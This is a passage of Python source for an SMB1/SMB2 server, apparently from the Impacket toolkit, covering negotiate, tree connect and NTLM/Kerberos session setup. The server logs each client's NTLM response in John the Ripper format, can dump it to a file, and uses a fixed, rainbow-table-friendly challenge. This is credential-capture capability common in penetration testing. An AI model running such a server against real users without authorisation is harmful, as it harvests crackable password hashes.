0x1\n            elif mode & os.O_APPEND:\n                # File existed and was opened\n                respParameters['Action'] = 0x1\n            else:\n                # File existed and was truncated\n                respParameters['Action'] = 0x3\n\n            # Let's store the fid for the connection\n            # smbServer.log('Opening file %s' % pathName, connData=connData)\n            connData['OpenedFiles'][fid] = {}\n            connData['OpenedFiles'][fid]['FileHandle'] = openedFile\n            connData['OpenedFiles'][fid]['FileName'] = pathName\n            connData['OpenedFiles'][fid]['DeleteOnClose'] = False\n        else:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        resp = smb.NewSMBPacket()\n        resp['Flags1'] = smb.SMB.FLAGS1_REPLY\n        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \\\n                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE\n\n        resp['Tid'] = recvPacket['Tid']\n        resp['Mid'] = recvPacket['Mid']\n        resp['Pid'] = connData['Pid']\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)\n        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()\n        respData = smb.SMBTreeConnectAndXResponse_Data()\n\n        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])\n\n        if treeConnectAndXParameters['Flags'] & 0x8:\n            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()\n\n        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(flags=recvPacket['Flags2'])\n        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']\n        treeConnectAndXData.fromString(SMBCommand['Data'])\n\n        errorCode = STATUS_SUCCESS\n\n        ## Process here the request, does the share exist?\n        UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])\n\n        # Is this a UNC?\n        if ntpath.ismount(UNCOrShare):\n            path = UNCOrShare.split('\\\\')[3]\n        else:\n            path = ntpath.basename(UNCOrShare)\n\n        share = searchShare(connId, path, smbServer)\n        if share is not None:\n            # Simple way to generate a Tid\n            if len(connData['ConnectedShares']) == 0:\n                tid = 1\n            else:\n                tid = list(connData['ConnectedShares'].keys())[-1] + 1\n            connData['ConnectedShares'][tid] = share\n            connData['ConnectedShares'][tid]['shareName'] = path\n            resp['Tid'] = tid\n            # smbServer.log(\"Connecting Share(%d:%s)\" % (tid,path), connData=connData)\n        else:\n            smbServer.log(\"TreeConnectAndX not found %s\" % path, logging.ERROR, connData=connData)\n            errorCode = STATUS_OBJECT_PATH_NOT_FOUND\n            resp['ErrorCode'] = errorCode >> 16\n            resp['ErrorClass'] = errorCode & 0xff\n        ##\n        respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS\n\n        if path == 'IPC$':\n            respData['Service'] = 'IPC'\n        else:\n            respData['Service'] = path\n        respData['PadLen'] = 0\n        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS').decode()\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        resp['Uid'] = connData['Uid']\n        resp.addCommand(respSMBCommand)\n\n        # Sign the packet if needed\n        if connData['SignatureEnabled']:\n            smbServer.signSMBv1(connData, resp, connData['SigningSessionKey'], connData['SigningChallengeResponse'])\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [resp], errorCode\n\n    @staticmethod\n    def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId, checkStatus=False)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)\n\n        # From [MS-SMB]\n        # When extended security is being used (see section 3.2.4.2.4), the\n        # request MUST take the following form\n        # [..]\n        # WordCount (1 byte): The value of this field MUST be 0x0C.\n        if SMBCommand['WordCount'] == 12:\n            # Extended security. Here we deal with all SPNEGO stuff\n            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()\n            respData = smb.SMBSessionSetupAndX_Extended_Response_Data(flags=recvPacket['Flags2'])\n            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])\n            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()\n            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']\n            sessionSetupData.fromString(SMBCommand['Data'])\n            connData['Capabilities'] = sessionSetupParameters['Capabilities']\n\n            rawNTLM = False\n            if struct.unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_AID:\n                # NEGOTIATE packet\n                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])\n                token = blob['MechToken']\n                if len(blob['MechTypes'][0]) > 0:\n                    # Is this GSSAPI NTLM or something else we don't support?\n                    mechType = blob['MechTypes'][0]\n                    if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:\n                        # Nope, do we know it?\n                        if mechType in MechTypes:\n                            mechStr = MechTypes[mechType]\n                        else:\n                            mechStr = hexlify(mechType)\n                        smbServer.log(\"Unsupported MechType '%s'\" % mechStr, logging.DEBUG, connData=connData)\n                        # We don't know the token, we answer back again saying\n                        # we just support NTLM.\n                        # ToDo: Build this into a SPNEGO_NegTokenResp()\n                        respToken = b'\\xa1\\x15\\x30\\x13\\xa0\\x03\\x0a\\x01\\x03\\xa1\\x0c\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a'\n                        respParameters['SecurityBlobLength'] = len(respToken)\n                        respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']\n                        respData['SecurityBlob'] = respToken\n                        respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())\n                        respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())\n                        respSMBCommand['Parameters'] = respParameters\n                        respSMBCommand['Data'] = respData\n                        return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED\n\n            elif struct.unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_SUPPORTED_MECH:\n                # AUTH packet\n                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])\n                token = blob['ResponseToken']\n            else:\n                # No GSSAPI stuff, raw NTLMSSP\n                rawNTLM = True\n                token = sessionSetupData['SecurityBlob']\n\n            # Here we only handle NTLMSSP, depending on what stage of the\n            # authentication we are, we act on it\n            messageType = struct.unpack('<L', token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00') + 4])[0]\n\n            if messageType == 0x01:\n                # NEGOTIATE_MESSAGE\n                negotiateMessage = ntlm.NTLMAuthNegotiate()\n                negotiateMessage.fromString(token)\n                # Let's store it in the connection data\n                connData['NEGOTIATE_MESSAGE'] = negotiateMessage\n                # Let's build the answer flags\n                # TODO: Parse all the flags. With this we're leaving some clients out\n\n                ansFlags = 0\n\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE\n                if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:\n                    ansFlags |= ntlm.NTLM_NEGOTIATE_OEM\n\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET\n\n                # Generate the AV_PAIRS\n                av_pairs = ntlm.AV_PAIRS()\n                # TODO: Put the proper data from SMBSERVER config\n                av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[\n                    ntlm.NTLMSSP_AV_DNS_HOSTNAME] = smbServer.getServerName().encode('utf-16le')\n                av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[\n                    ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = smbServer.getServerDomain().encode('utf-16le')\n                av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack('<q', (\n                            116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))\n\n                challengeMessage = ntlm.NTLMAuthChallenge()\n                challengeMessage['flags'] = (ntlm.NTLMSSP_DROP_SSP_STATIC | 0) if smbServer._SMBSERVER__dropSSP else ansFlags\n                challengeMessage['domain_len'] = len(smbServer.getServerDomain().encode('utf-16le'))\n                challengeMessage['domain_max_len'] = challengeMessage['domain_len']\n                challengeMessage['domain_offset'] = 40 + 16\n                challengeMessage['challenge'] = smbServer.getSMBChallenge()\n                challengeMessage['domain_name'] = smbServer.getServerDomain().encode('utf-16le')\n                challengeMessage['TargetInfoFields_len'] = len(av_pairs)\n                challengeMessage['TargetInfoFields_max_len'] = len(av_pairs)\n                challengeMessage['TargetInfoFields'] = av_pairs\n                challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name'])\n                challengeMessage['Version'] = b'\\xff' * 8\n                challengeMessage['VersionLen'] = 8\n\n                if rawNTLM is False:\n                    respToken = SPNEGO_NegTokenResp()\n                    # accept-incomplete. We want more data\n                    respToken['NegState'] = b'\\x01'\n                    respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n\n                    respToken['ResponseToken'] = challengeMessage.getData()\n                else:\n                    respToken = challengeMessage\n\n                # Setting the packet to STATUS_MORE_PROCESSING\n                errorCode = STATUS_MORE_PROCESSING_REQUIRED\n                # Let's set up an UID for this connection and store it\n                # in the connection's data\n                # Picking a fixed value\n                # TODO: Manage more UIDs for the same session\n                connData['Uid'] = 10\n                # Let's store it in the connection data\n                connData['CHALLENGE_MESSAGE'] = challengeMessage\n\n            elif messageType == 0x02:\n                # CHALLENGE_MESSAGE\n                raise Exception('Challenge Message raise, not implemented!')\n\n            elif messageType == 0x03:\n                # AUTHENTICATE_MESSAGE, here we deal with authentication\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n                smbServer.log(\"AUTHENTICATE_MESSAGE (%s\\\\%s,%s)\" % (\n                    authenticateMessage['domain_name'].decode('utf-16le'),\n                    authenticateMessage['user_name'].decode('utf-16le'),\n                    authenticateMessage['host_name'].decode('utf-16le')))\n                # Do we have credentials to check?\n                if len(smbServer.getCredentials()) > 0:\n                    identity = authenticateMessage['user_name'].decode('utf-16le').lower()\n                    # Do we have this user's credentials?\n                    if identity in smbServer.getCredentials():\n                        # Process data:\n                        # Let's parse some data and keep it to ourselves in case it is asked\n                        uid, lmhash, nthash = smbServer.getCredentials()[identity]\n\n                        errorCode, sessionKey = computeNTLMv2(identity, lmhash, nthash, smbServer.getSMBChallenge(),\n                                                              authenticateMessage, connData['CHALLENGE_MESSAGE'],\n                                                              connData['NEGOTIATE_MESSAGE'])\n\n                        if sessionKey is not None:\n                            connData['SignatureEnabled'] = False\n                            connData['SigningSessionKey'] = sessionKey\n                            connData['SignSequenceNumber'] = 1\n                    else:\n                        errorCode = STATUS_LOGON_FAILURE\n                else:\n                    # No credentials provided, let's grant access\n                    errorCode = STATUS_SUCCESS\n\n                if errorCode == STATUS_SUCCESS:\n                    connData['Authenticated'] = True\n                    respToken = SPNEGO_NegTokenResp()\n                    # accept-completed\n                    respToken['NegState'] = b'\\x00'\n\n                    smbServer.log(\n                        'User %s\\\\%s authenticated successfully' % (authenticateMessage['host_name'].decode('utf-16le'),\n                                                                    authenticateMessage['user_name'].decode(\n                                                                        'utf-16le')))\n                    # Let's store it in the connection data\n                    connData['AUTHENTICATE_MESSAGE'] = authenticateMessage\n                    connData[\"user_domain_name\"] = authenticateMessage['domain_name'].decode('utf-16le') if authenticateMessage['domain_name'].decode('utf-16le') != \"\" else authenticateMessage['host_name'].decode('utf-16le')\n                    connData[\"user_name\"] = authenticateMessage['user_name'].decode('utf-16le')\n                    try:\n                        jtr_dump_path = smbServer.getJTRdumpPath()\n                        ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],\n                                                            authenticateMessage['user_name'],\n                                                            authenticateMessage['domain_name'],\n                                                            authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                        smbServer.log(ntlm_hash_data['hash_string'])\n                        if jtr_dump_path != '':\n                            writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                                  jtr_dump_path)\n                    except:\n                        smbServer.log(\"Could not write NTLM Hashes to the specified JTR_Dump_Path %s\" % jtr_dump_path)\n                else:\n                    respToken = SPNEGO_NegTokenResp()\n                    respToken['NegState'] = b'\\x02'\n                    smbServer.log(\"Could not authenticate user!\", connData=connData)\n                if smbServer.auth_callback is not None:\n                    try:\n                        smbServer.auth_callback(\n                            smbServer=smbServer,\n                            connData=connData,\n                            domain_name=authenticateMessage['domain_name'].decode('utf-16le'),\n                            user_name=authenticateMessage['user_name'].decode('utf-16le'),\n                            host_name=authenticateMessage['host_name'].decode('utf-16le')\n                        )\n                    except Exception as e:\n                        print(\"[!] Could not call auth_callback: %s\" % e)\n\n            else:\n                raise Exception(\"Unknown NTLMSSP MessageType %d\" % messageType)\n\n            respParameters['SecurityBlobLength'] = len(respToken)\n            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']\n            respData['SecurityBlob'] = respToken.getData()\n\n        else:\n            # Process Standard Security\n            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()\n            respData = smb.SMBSessionSetupAndXResponse_Data()\n            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])\n            sessionSetupData = smb.SMBSessionSetupAndX_Data()\n            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']\n            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']\n            sessionSetupData.fromString(SMBCommand['Data'])\n            connData['Capabilities'] = sessionSetupParameters['Capabilities']\n            # Do the verification here, for just now we grant access\n            # TODO: Manage more UIDs for the same session\n            errorCode = STATUS_SUCCESS\n            connData['Uid'] = 10\n            connData['Authenticated'] = True\n            respParameters['Action'] = 0\n            smbServer.log('User %s\\\\%s authenticated successfully (basic)' % (\n            sessionSetupData['PrimaryDomain'], sessionSetupData['Account']))\n            try:\n                jtr_dump_path = smbServer.getJTRdumpPath()\n                ntlm_hash_data = outputToJohnFormat(b'', b(sessionSetupData['Account']),\n                                                    b(sessionSetupData['PrimaryDomain']), sessionSetupData['AnsiPwd'],\n                                                    sessionSetupData['UnicodePwd'])\n                smbServer.log(ntlm_hash_data['hash_string'])\n                if jtr_dump_path != '':\n                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], jtr_dump_path)\n            except:\n                smbServer.log(\"Could not write NTLM Hashes to the specified JTR_Dump_Path %s\" % jtr_dump_path, connData=connData)\n\n        respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())\n        respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        # From now on, the client can ask for other commands\n        connData['Authenticated'] = True\n        # For now, just switching to nobody\n        # os.setregid(65534,65534)\n        # os.setreuid(65534,65534)\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComNegotiate(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId, checkStatus=False)\n        connData['Pid'] = recvPacket['Pid']\n\n        SMBCommand = smb.SMBCommand(recvPacket['Data'][0])\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)\n\n        resp = smb.NewSMBPacket()\n        resp['Flags1'] = smb.SMB.FLAGS1_REPLY\n        resp['Pid'] = connData['Pid']\n        resp['Tid'] = recvPacket['Tid']\n        resp['Mid'] = recvPacket['Mid']\n\n        # TODO: We support more dialects, and parse them accordingly\n        dialects = SMBCommand['Data'].split(b'\\x02')\n        try:\n            index = dialects.index(b'NT LM 0.12\\x00') - 1\n            # Let's fill the data for NTLM\n            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY:\n                resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE\n                # resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS\n                _dialects_data = smb.SMBExtended_Security_Data()\n                _dialects_data['ServerGUID'] = b'A' * 16\n                blob = SPNEGO_NegTokenInit()\n                blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n                _dialects_data['SecurityBlob'] = blob.getData()\n\n                _dialects_parameters = smb.SMBExtended_Security_Parameters()\n                _dialects_parameters[\n                    'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS | smb.SMB.CAP_UNICODE\n                _dialects_parameters['ChallengeLength'] = 0\n\n            else:\n                resp['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE\n                _dialects_parameters = smb.SMBNTLMDialect_Parameters()\n                _dialects_data = smb.SMBNTLMDialect_Data()\n                _dialects_data['Payload'] = ''\n                if 'EncryptionKey' in connData:\n                    _dialects_data['Challenge'] = connData['EncryptionKey']\n                    _dialects_parameters['ChallengeLength'] = len(_dialects_data.getData())\n                else:\n                    # TODO: Handle random challenges, now one that can be used with rainbow tables\n                    _dialects_data['Challenge'] = b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n                    _dialects_parameters['ChallengeLength'] = 8\n                _dialects_parameters['Capabilities'] = smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS\n\n                # Let's see if we need to support RPC_REMOTE_APIS\n            config = smbServer.getServerConfig()\n            if config.has_option('global', 'rpc_apis'):\n                if config.getboolean('global', 'rpc_apis') is True:\n                    _dialects_parameters['Capabilities'] |= smb.SMB.CAP_RPC_REMOTE_APIS\n\n            _dialects_parameters['DialectIndex'] = index\n            # _dialects_parameters['SecurityMode']    = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER | smb.SMB.SECURITY_SIGNATURES_REQUIRED\n            _dialects_parameters['SecurityMode'] = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER\n            _dialects_parameters['MaxMpxCount'] = 1\n            _dialects_parameters['MaxNumberVcs'] = 1\n            _dialects_parameters['MaxBufferSize'] = 64000\n            _dialects_parameters['MaxRawSize'] = 65536\n            _dialects_parameters['SessionKey'] = 0\n            _dialects_parameters['LowDateTime'] = 0\n            _dialects_parameters['HighDateTime'] = 0\n            _dialects_parameters['ServerTimeZone'] = 0\n\n            respSMBCommand['Data'] = _dialects_data\n            respSMBCommand['Parameters'] = _dialects_parameters\n            connData['_dialects_data'] = _dialects_data\n            connData['_dialects_parameters'] = _dialects_parameters\n\n        except Exception as e:\n            # No NTLM throw an error\n            smbServer.log('smbComNegotiate: %s' % e, logging.ERROR, connData=connData)\n            respSMBCommand['Data'] = struct.pack('<H', 0xffff)\n\n        smbServer.setConnectionData(connId, connData)\n\n        resp.addCommand(respSMBCommand)\n\n        return None, [resp], STATUS_SUCCESS\n\n    @staticmethod\n    def default(connId, smbServer, SMBCommand, recvPacket):\n        # By default we return an SMB Packet with error not implemented\n        smbServer.log(\"Not implemented command: 0x%x\" % recvPacket['Command'], logging.DEBUG)\n        packet = smb.NewSMBPacket()\n        packet['Flags1'] = smb.SMB.FLAGS1_REPLY\n        packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS\n        packet['Command'] = recvPacket['Command']\n        packet['Pid'] = recvPacket['Pid']\n        packet['Tid'] = recvPacket['Tid']\n        packet['Mid'] = recvPacket['Mid']\n        packet['Uid'] = recvPacket['Uid']\n        packet['Data'] = b'\\x00\\x00\\x00'\n        errorCode = STATUS_NOT_IMPLEMENTED\n        packet['ErrorCode'] = errorCode >> 16\n        packet['ErrorClass'] = errorCode & 0xff\n\n        return None, [packet], errorCode\n\n\nclass SMB2Commands:\n    @staticmethod\n    def smb2Negotiate(connId, smbServer, recvPacket, isSMB1=False):\n        connData = smbServer.getConnectionData(connId, checkStatus=False)\n\n        respPacket = smb2.SMB2Packet()\n        respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR\n        respPacket['Status'] = STATUS_SUCCESS\n        respPacket['CreditRequestResponse'] = 1\n        respPacket['Command'] = smb2.SMB2_NEGOTIATE\n        respPacket['SessionID'] = 0\n        if isSMB1 is False:\n            respPacket['MessageID'] = recvPacket['MessageID']\n        else:\n            respPacket['MessageID'] = 0\n        respPacket['TreeID'] = 0\n\n        respSMBCommand = smb2.SMB2Negotiate_Response()\n\n        respSMBCommand['SecurityMode'] = 1\n        if isSMB1 is True:\n            # Let's first parse the packet to see if the client supports SMB2\n            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])\n\n            dialects = SMBCommand['Data'].split(b'\\x02')\n            if b'SMB 2.002\\x00' in dialects or b'SMB 2.???\\x00' in dialects:\n                respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002\n            else:\n                # Client does not support SMB2 fallbacking\n                raise Exception('SMB2 not supported, fallbacking')\n        else:\n            respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002\n        respSMBCommand['ServerGuid'] = b'A' * 16\n        respSMBCommand['Capabilities'] = 0\n        respSMBCommand['MaxTransactSize'] = 65536\n        respSMBCommand['MaxReadSize'] = 65536\n        respSMBCommand['MaxWriteSize'] = 65536\n        respSMBCommand['SystemTime'] = smb.POSIXtoFT(calendar.timegm(time.gmtime()))\n        respSMBCommand['ServerStartTime'] = smb.POSIXtoFT(calendar.timegm(time.gmtime()))\n        respSMBCommand['SecurityBufferOffset'] = 0x80\n\n        blob = SPNEGO_NegTokenInit()\n        supported_mechtypes = []\n        if smbServer.getKerberosSupport() and smbServer.getComputerAccountCredentials()[\"username\"]:\n            # if computer account credentials are provided, we can also use kerberos\n            supported_mechtypes += [TypesMech['MS KRB5 - Microsoft Kerberos 5'], TypesMech['KRB5 - Kerberos 5'], TypesMech['KRB5 - Kerberos 5 - User to User']]\n        if smbServer.getNTLMSupport():\n            supported_mechtypes += [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n\n        blob['MechTypes'] = supported_mechtypes\n\n        respSMBCommand['Buffer'] = blob.getData()\n        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])\n\n        respPacket['Data'] = respSMBCommand\n\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [respPacket], STATUS_SUCCESS\n\n    @staticmethod\n    def _kerberos_auth(token, connData, smbServer):\n        try:\n            blob = decoder.decode(token, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0]\n            ap_req = blob['apReq']\n            cipherText = ap_req['ticket']['enc-part']['cipher']\n\n            newCipher = _enctype_table[int(ap_req['ticket']['enc-part']['etype'])]\n\n            computerAccountCredentials = smbServer.getComputerAccountCredentials()\n\n            ekeys = generate_kerberos_keys(rc4=computerAccountCredentials['nthash'], aes=computerAccountCredentials['aes'], password=computerAccountCredentials['password'], user=computerAccountCredentials['username'], domain=computerAccountCredentials['domain'])\n\n            # Select the correct encryption key\n            try:\n                key = ekeys[ap_req['ticket']['enc-part']['etype']]\n            # This raises a KeyError (pun intended) if our key is not found\n            except KeyError:\n                LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied',\n                        ap_req['ticket']['enc-part']['etype'],\n                        ', '.join([str(enctype) for enctype in ekeys.keys()]))\n                return None, STATUS_LOGON_FAILURE\n\n            # Recover plaintext info from ticket\n            try:\n                plainText = newCipher.decrypt(key, 2, cipherText)\n            except InvalidChecksum:\n                LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect')\n                return None, STATUS_LOGON_FAILURE\n\n            encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]\n            sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue']))\n            newCipher = _enctype_table[int(ap_req['authenticator']['etype'])]\n\n            encApReqAuthenticator = newCipher.decrypt(sessionKey, 11, ap_req['authenticator']['cipher'])\n            ApRepAuthenticator = decoder.decode(encApReqAuthenticator, asn1Spec=Authenticator())[0]\n            connData[\"user_domain_name\"] = ApRepAuthenticator[\"crealm\"].asOctets().decode()\n            connData[\"user_name\"] = ApRepAuthenticator[\"cname\"][\"name-string\"][0].asOctets().decode()\n            \n            encryption_key = Key(ApRepAuthenticator['subkey']['keytype'], ApRepAuthenticator['subkey']['keyvalue'].asOctets())\n\n\n            ap_rep = AP_REP()\n            ap_rep['pvno'] = 5\n            ap_rep['msg-type'] = constants.KerberosMessageTypes.KRB_AP_REP.value\n            ap_rep['enc-part']['etype'] = ap_req['authenticator']['etype']\n\n            encAPRep = EncAPRepPart()\n            encAPRep['ctime'] = ApRepAuthenticator['ctime'].prettyPrint()\n            encAPRep['cusec'] = ApRepAuthenticator['cusec'].prettyPrint()\n            # just use the same key\n            encAPRep['subkey']['keyvalue'] = encryption_key.contents\n            encAPRep['subkey']['keytype'] = encryption_key.enctype\n\n            ap_rep['enc-part']['cipher'] = newCipher.encrypt(sessionKey, 12, encoder.encode(encAPRep), None)\n            aprepBytes = encoder.encode(ap_rep)\n\n            accept = SPNEGO_NegTokenResp()\n            accept['SupportedMech'] = TypesMech['MS KRB5 - Microsoft Kerberos 5']\n            # accept-completed\n            accept['NegState'] = b'\\x00'\n            accept['ResponseToken'] = aprepBytes\n            acceptBytes = accept.getData()\n\n            respSMBCommand = smb2.SMB2SessionSetup_Response()\n            respSMBCommand['SecurityBufferOffset'] = 0x48\n            respSMBCommand['SecurityBufferLength'] = len(acceptBytes)\n            respSMBCommand['Buffer'] = acceptBytes\n\n            connData['SignatureEnabled'] = True\n            connData['SigningSessionKey'] = encryption_key.contents[:16] # MS-SMB2 3.2.5.3.1\n            connData['SignSequenceNumber'] = 1\n\n            return respSMBCommand, STATUS_SUCCESS\n        except:\n            # if decryption fails, or the client does not support signing, we will just send an accept-completed to at least try it\n            accept = SPNEGO_NegTokenResp()\n            accept['SupportedMech'] = TypesMech['MS KRB5 - Microsoft Kerberos 5']\n            # accept-completed\n            accept['NegState'] = b'\\x00'\n            acceptBytes = accept.getData()\n\n            respSMBCommand = smb2.SMB2SessionSetup_Response()\n            respSMBCommand['SecurityBufferOffset'] = 0x48\n            respSMBCommand['SecurityBufferLength'] = len(acceptBytes)\n            respSMBCommand['Buffer'] = acceptBytes\n            return respSMBCommand, STATUS_SUCCESS\n        \n    @staticmethod\n    def _ntlm_auth(token, connData, smbServer, rawNTLM):\n        # Here we only handle NTLMSSP, depending on what stage of the\n        # authentication we are, we act on it\n        messageType = struct.unpack('<L', token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00') + 4])[0]\n        respSMBCommand = smb2.SMB2SessionSetup_Response()\n\n        if messageType == 0x01:\n            # NEGOTIATE_MESSAGE\n            negotiateMessage = ntlm.NTLMAuthNegotiate()\n            negotiateMessage.fromString(token)\n            # Let's store it in the connection data\n            connData['NEGOTIATE_MESSAGE'] = negotiateMessage\n            # Let's build the answer flags\n            # TODO: Parse all the flags. With this we're leaving some clients out\n\n            ansFlags = 0\n\n            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56\n            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128\n            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH\n            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE\n            if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:\n                ansFlags |= ntlm.NTLM_NEGOTIATE_OEM\n            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN:\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_SIGN\n\n            ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | 